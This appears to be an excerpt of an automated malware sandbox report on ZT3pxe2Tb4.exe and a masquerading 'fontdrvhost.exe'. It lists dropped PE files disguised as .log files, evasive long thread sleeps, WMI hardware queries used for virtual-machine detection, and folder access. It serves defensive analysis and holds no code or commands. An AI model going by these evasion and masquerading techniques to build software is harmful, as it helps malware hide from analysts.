Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qguCdZEu.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dabMNWxu.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ouGCZwUD.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\DEcjsSrF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\cixmEAyA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MTLhtkSf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\DdBAnNSZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UOaorzbP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xgyKnYKq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\gmudUmpb.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PwAgeDiA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OnJqPAWm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QfCxRbIn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NMMXsbef.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rmtKjMmm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MPlPWbPk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RMaOjKxV.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AFOsBjYP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OjpXkDnJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XEIwxBIS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MHvzAhUM.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rAfUMkjC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\oQWKeSDj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WYfWtHNc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RCCOzYeY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GPSaXBQY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HxFJRUCD.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\iJlVzTXF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ifAdEpGk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\IHwzgXOR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\COTaDrJc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kdNuDPIk.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\pJXAdKPi.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xkYbKhNl.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xHZssejW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\phJkSByL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qiEMTywj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kMzdwiuP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lHCvjEeO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\blWejAjG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XzFFzMmI.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NWMxEuQr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\mCNvXUiC.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XFfNnXVZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ZklVGaxA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FWzHsBqG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OEWHVhjH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NgoGZspx.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\iANVPgEI.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xvPIrmGV.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nJvbxzCb.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tqrrAUxf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PEqxAxdY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JAxqeOaQ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OemrfNDp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TCIWpNeY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\IiRYzRio.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YUSxJEkf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zfzIrCEh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SbqYhYfr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SdGfOIqy.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TYRgCYum.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LtTWIWgh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aVjDvRpd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MMDorhKp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JfyqGcCs.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WgOpYqoh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KjbhtTTT.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kQZvTrxL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ylQifTUJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aFyNQRuY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\sihlzJJp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WzsNMHNJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uHokLZDZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zReaumVj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kUpuTdpn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uvZrYWTP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jECTfuuL.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\DnshUSLJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ULtOMFWU.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\iKNvbzqU.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\msUTDNPI.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zsrQNmVQ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uJzjHyIX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dKmMwLxf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OzZYIDTF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fqGCEpSY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FWXhQVXq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QpCXcuuA.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SKewgrff.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\sQxsIGwX.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wHLAFYKX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\sXAbZyyE.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nHlSHaLn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fyqViYtd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\sYhLnqXd.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XxwvJouT.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KnZYovDz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zuGjoWSN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fvxnZIOH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\inpEUjnz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XsyMwKeS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\mJblSiJK.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dpYUmTzI.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OgxpbmIn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rudcNvNr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wsOrhbIJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hsmnhNDB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ZtZwWUdP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ORiFVhtH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CQeYyQPa.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zzDSBAiP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ikDUDecv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WuogHSdp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YOQFKOOU.log	Jump to dropped file

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe TID: 6644	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 7268	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 5004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 7180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 7532	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 7396	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 7880	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 7788	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 8124	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 8012	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 3512	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 2520	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 6092	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 5728	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 7320	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 7696	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 8048	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 7552	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 4628	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 7284	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\fontdrvhost.exe TID: 8080	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

